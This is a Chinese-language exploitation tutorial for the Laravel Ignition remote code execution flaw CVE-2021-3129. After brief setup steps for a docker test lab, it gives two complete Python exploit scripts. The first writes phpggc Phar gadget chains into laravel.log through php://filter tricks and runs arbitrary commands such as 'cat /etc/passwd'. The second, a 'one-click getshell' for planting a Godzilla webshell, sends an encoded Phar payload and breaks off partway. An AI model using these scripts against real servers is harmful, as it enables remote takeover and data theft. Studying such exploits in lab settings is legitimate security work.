本文详细介绍了Laravel框架在开启Debug模式时，由于Ignition组件的问题导致的安全漏洞CVE-2021-3129。漏洞利用涉及file_get_contents()和file_put_contents()函数的不安全使用，可能引发Phar反序列化，从而允许攻击者执行远程代码。受影响的Laravel版本为8.4.2及更低，Ignition版本为2.5.1及更低。文章提供了漏洞利用的步骤，包括下载靶场、搭建环境以及利用EXP进行getshell的方法。
漏洞详情
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)当Laravel开启了Debug模式时，由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。
漏洞影响
Laravel <= 8.4.2
Ignition <= 2.5.1
漏洞利用
下载靶场：git clone https://github.com/SNCKER/CVE-2021-3129.git
搭建环境：cd CVE-2021-3129 && docker-compose up -d
访问环境：http://ip:8888，点击“generate key”重置一下后重新刷新即可看到如下页面：
下载好phpggc文件：git clone https://github.com/ambionics/phpggc.git
给phpggc可执行权限：chmod 777 ./phpggc/phpggc
EXP：
#!/usr/bin/python3
import requests as req
import os, uuid
class Exp:
__gadget_chains = {
"monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
"monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
"monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
} # phpggc链集合，暂时添加rce1后续再添加其他增强通杀能力
__delimiter_len = 8 # 定界符长度
def __vul_check(self):
resp = req.get(self.__url, verify=False)
if resp.status_code != 405 and "laravel" not in resp.text:
return False
return True
def __payload_send(self, payload):
header = {
"Accept": "application/json"
}
data = {
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "cve20213129",
"viewFile": ""
}
}
data["parameters"]["viewFile"] = payload
resp = req.post(self.__url, headers=header, json=data, verify=False)
# print(resp.text)
return resp
def __command_handler(self, command):
"""
因为用户命令要注入到payload生成的命令中，为了防止影响结构，所以进行一些处理。
"""
self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len] # 定界符用于定位页面中命令执行结果的位置。
# print(delimiter)
command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)
# print(command)
escaped_chars = [' ', '&', '|'] # 我只想到这么多，可自行添加。
for c in escaped_chars:
command = command.replace(c, '\\' + c)
# print(command)
return command
def __clear_log(self):
return self.__payload_send(
"php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
def __gen_payload(self, gadget_chain):
gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)
# print(gen_shell)
os.system(gen_shell)
with open('payload.txt', 'r') as f:
payload = f.read().replace('\n', '') + 'a' # 添加一个字符使得两个完整的payload总是只有一个可以正常解码
os.system("rm payload.txt")
# print(payload)
return payload
def __decode_log(self):
return self.__payload_send(
"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
def __unserialize_log(self):
return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")
def __rce(self):
text = self.__unserialize_log().text
# print(text)
echo_find = text.find(self.__delimiter)
# print(echo_find)
if echo_find >= 0:
return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]
else:
return "[-] RCE echo is not found."
def exp(self):
for gadget_chain in self.__gadget_chains.keys():
print("[*] Try to use %s for exploitation." % (gadget_chain))
self.__clear_log()
self.__clear_log()
self.__payload_send('a' * 2)
self.__payload_send(self.__gen_payload(gadget_chain))
self.__decode_log()
print("[*] Result:")
print(self.__rce())
def __init__(self, target, command):
self.target = target
self.__url = req.compat.urljoin(target, "_ignition/execute-solution")
self.__command = self.__command_handler(command)
if not self.__vul_check():
print("[-] [%s] is seems not vulnerable." % (self.target))
print("[*] You can also call obj.exp() to force an attack.")
else:
self.exp()
def main():
Exp("http://127.0.0.1:8888", "cat /etc/passwd")
if __name__ == '__main__':
main()使用时替换上面目标地址和命令即可
一键getshell，连接哥斯拉木马EXP：https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
# -*- coding: utf-8 -*-
import requests,json
import sys,re
proxies = {
"http": '127.0.0.1:8080'}
header={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"Content-Type":"application/json"
}
def clearlog(url):
data = {
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
return req
def AA(url):
data={
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": "AA"
}
}
req=requests.post(url,headers=header,data=json.dumps(data,indent=1))
return req
def sendpayloadwindows(url):
data={
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName":"username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=2F=00=42=00=77=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6F=00=42=00=77=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7
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